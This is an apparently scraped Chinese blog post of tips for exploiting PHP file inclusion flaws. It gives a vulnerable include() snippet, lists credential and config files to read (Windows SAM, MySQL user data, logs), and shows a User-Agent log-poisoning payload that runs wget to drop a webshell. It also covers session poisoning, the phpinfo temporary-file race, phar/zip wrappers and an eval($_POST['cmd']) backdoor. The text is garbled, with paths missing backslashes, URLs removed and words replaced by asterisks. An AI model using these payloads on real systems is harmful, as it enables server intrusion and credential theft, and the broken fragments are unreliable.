檔案包含漏洞 TIPS

2021-08-13 13:04:56 字數 3420 閱讀 3135

網頁**在通過函式復用檔案時,未對檔名進行安全檢查時,從而導致惡意**執行和敏感資訊洩露。主要分為本地包含(lfi)和遠端包含 (rfi)

涉及到的危險函式:include(),require() 和 include_once(),require_once()

測試**

<?php 

$a = $_get['chery'];

include($a);

windows:

c:boot.ini // 檢視系統版本

c:windowssystem32inetsrvmetabase.xml //iis 配置檔案

c:windowsrepairsam // 儲存系統初次安裝的密碼

c:program filesmysqlmy.ini //mysql 配置

c:program filesmysqldatamysqluser.myd //mysql root

c:windowsphp.ini //php 配置資訊

c:windowsmy.ini //mysql 配置資訊

/proc/self/fd/fd[0-9]*(檔案識別符號)

/proc/mounts

/porc/config.gz

/var/log/apache/access_log

/var/www/logs/access_log

/var/log/access_log

也可用通過先包含配置檔案來確定日誌檔案路徑

然後在 user-agent 中插入 payload

可以看見已經成功寫入 log

接著訪問日誌檔案即可包含

在 user-agent 中插入如下**:

<?system (wget -o chery.php);?>

或者<?php copy(, chery.php) ?>

首先,檢視找到 session 檔案幷包含一次:檔名可以通過 firefox 的 fire cookie 外掛程式檢視當前 session 值。

實際應用過程中需要注意以下幾點:

1) **可能沒有生成臨時 session,以 cookie 方式儲存使用者資訊,或者根本就完全沒有。

2) session 檔案內容的控制,這個時候我們就需要先通過包含檢視當前 session 的內容,看 session 值中有沒有我們可控的某個變數,比如 url 中的變數值。或者當前使用者名稱 username, 或者可以通過變數覆蓋來寫入. 如果有的話,我們就可以通過修改可控變數值控制惡意**寫入 session 檔案。如果沒有的話,可以考慮讓伺服器報錯,有時候伺服器會把報錯資訊寫入使用者的 session 檔案的。我們控制使伺服器報錯的語句即可將惡意**寫入 session。(session 檔案格式可參考

向 phpinfo 上傳檔案則可以返回檔案路徑,但是檔案存在時間很短,可以用程式持續上傳,然後就可以包含你上傳的檔案了

其中 php 引擎對 enctype=」multipart/form-data」 這種請求的處理過程如下:1、請求到達;2、建立臨時檔案,並寫入上傳檔案的內容;3、呼叫相應 php 指令碼進行處理,如校驗名稱、大小等;4、刪除臨時檔案。

利用 phpinfo 進行本地檔案包含的主要思想是在臨時檔案刪除前執行操作。

我們需要爭取時間,時間差大致來自三個方面:

1、通過分塊傳輸編碼,提前獲知臨時檔案名稱;

分塊傳輸可以實現在未完全傳輸完成時即可獲知臨時檔名,可以盡早發起檔案包含請求,趕在刪除之前執行**。

2、通過增加臨時檔名後資料長度來延長時間;

通過觀察 phpinfo 的資訊,在 $_files 資訊下面,還有請求頭的相關資訊,我們可以在請求的時候,通過填充大量無用資料,來增加後面資料的長度,從而增加指令碼的處理時間,為包含檔案爭取更多的時間。

3、通過大量請求來延遲 php 指令碼的執行速度。

通過大量的併發請求,提高成功的概率。由於對 php 處理效能的不熟悉,做了乙個簡單的測試,記錄大量多個請求下,每個指令碼的執行時間.

參考:lfi with phpinfo 本地測試過程

實戰運用:烏雲鏈家 phpinfo 檔案包含到內網滲透

(需要 allow_url_fopen=on 並且 allow_url_include=on)

這裡用 cumtctf 的一道遠端包含和變數覆蓋的題目來說明

提示有原始碼洩露,先審計原始碼:

if (isset($_server['query_string']) && $_server['query_string'] != '') 

}

define("z_entrance", true);

define('z_abspath', $_server['document_root']);

require(z_abspath . "/conn.php");

require(z_abspath . "/functions.php");

if (isset($action) && $action == 'main')

擷取過來的後面 4 格字元, 判斷是不是 php, 如果是 php 才進行包含

zip:(file.txt 被壓縮在 archive.zip 中)

注意 url 編碼, 因為這個 #會和 url 協議中的# 衝突

建立 phar 的**如下:

<?php 

$p = new phardata(dirname(__file__).'/phartest.aaa', 0,'phartest',phar::zip) ;

$p->addfromstring('testfile.txt', '<?php phpinfo();?>');

?>

建立 phar 的時候要注意 php.ini 的引數, phar.readonly 設定為 off(本地測試的兩個預設都是 off)

然後通過包含協議訪問:

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...